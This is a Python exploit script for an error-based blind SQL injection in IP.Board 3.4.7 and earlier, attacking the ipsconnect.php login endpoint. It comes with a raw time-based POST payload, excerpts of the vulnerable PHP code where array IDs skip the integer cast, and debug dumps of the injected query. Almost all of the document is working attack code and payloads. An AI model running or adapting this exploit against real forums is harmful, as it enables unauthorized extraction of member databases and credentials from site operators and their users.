#!/usr/bin/env python

# Sunday, November 09, 2014 - secthrowaway () safe-mail net

# IP.Board <= 3.4.7 SQLi (blind, error based);

# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable

url = 'http://ipb /'

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"

import sys, re

import urllib2, urllib

def inject(sql):

                try:

                                urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))

                except urllib2.HTTPError, e:

                                if e.code == 503:

                                                data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()

                                                txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE)

                                                if txt is not None:

                                                                return txt.group(1)

                                                sys.exit('Error [3], received unexpected data:\n%s' % data)

                                sys.exit('Error [1]')

                sys.exit('Error [2]')

n = inject('SELECT COUNT(*) FROM members')

[post]

http://ipb/interface/ipsconnect/ipsconnect.php

act=login&idType=id&id[]=-1&id[]=-1) or sleep(10)#

$params = array();

foreach ( $map[ $_REQUEST['act'] ] as $k )

{

                $params[ $k ] = $_REQUEST[ $k ];

}

array(6) { ["idType"]=> string(2) "id" ["id"]=> array(2) { [0]=> string(2) "-1" [1]=> string(17) "-1) or sleep(10)#" } ["password"]=> NULL ["key"]=> NULL ["redirect"]=> NULL ["redirectHash"]=> NULL }

'login'                     => array( 'idType', 'id', 'password', 'key', 'redirect', 'redirectHash' ),

public function login( $identifier, $identifierValue, $md5Password, $key, $redirect, $redirectHash )

                if ( in_array( $identifier, array( 'id', 'email', 'username' ) ) )

                                {

                                                $member = IPSMember::load( $identifierValue, 'none', $identifier );

static public function load( $member_key, $extra_tables='all', $key_type='' )

case 'id':

                                                                                if ( is_array( $member_key ) )

                                                                                {

                                                                                                $multiple_ids = $member_key;//为数组，没有类型转换

                                                                                }

                                                                                else

                                                                                {

                                                                                                $member_value = intval( $member_key );

                                                                                }

                                                                                $member_field = 'member_id';

array(1) { [0]=> array(4) { ["select"]=> string(17) "ccb.cache_content" ["from"]=> array(1) { ["content_cache_sigs"]=> string(3) "ccb" } ["where"]=> string(32) "ccb.cache_content_id=m.member_id" ["type"]=> string(4) "left" } }

if ( count( $joins ) )

                                {

                                                ipsRegistry::DB()->build( array( 'select'   => 'm.*, m.member_id as my_member_id',

                                                                                                                                                                                 'from'     => array( 'members' => 'm' ),

                                                                                                                                                                                 'where'    => ( is_array( $multiple_ids ) AND count( $multiple_ids ) ) ?  'm.'. $member_field . ' IN (' . implode( ',', $multiple_ids ) . ')' : 'm.'. $member_field . '=' . $member_value,

                                                                                                                                                                                 'add_join' => $joins ) );

                                }

                                else

                                {

                                                ipsRegistry::DB()->build( array( 'select'   => '*',

                                                                                                                                                                                 'from'     => 'members',

                                                                                                                                                                                 'where'    => ( is_array( $multiple_ids ) AND count( $multiple_ids ) ) ?  $member_field . ' IN (' . implode( ',', $multiple_ids ) . ')' : $member_field . '=' . $member_value ) );

                                }

                                ipsRegistry::DB()->execute();

array(4) {

  ["select"]=>

  string(32) "m.*, m.member_id as my_member_id"

  ["from"]=>

  array(1) {

    ["members"]=>

    string(1) "m"

  }

  ["where"]=>

  string(37) "m.member_id IN (-1,-1) or sleep(10)#)"

  ["add_join"]=>

  array(1) {

    [0]=>

    array(4) {

      ["select"]=>

      string(17) "ccb.cache_content"

      ["from"]=>

      array(1) {

        ["content_cache_sigs"]=>

        string(3) "ccb"

      }

      ["where"]=>

      string(32) "ccb.cache_content_id=m.member_id"

      ["type"]=>

      string(4) "left"

    }

  }

}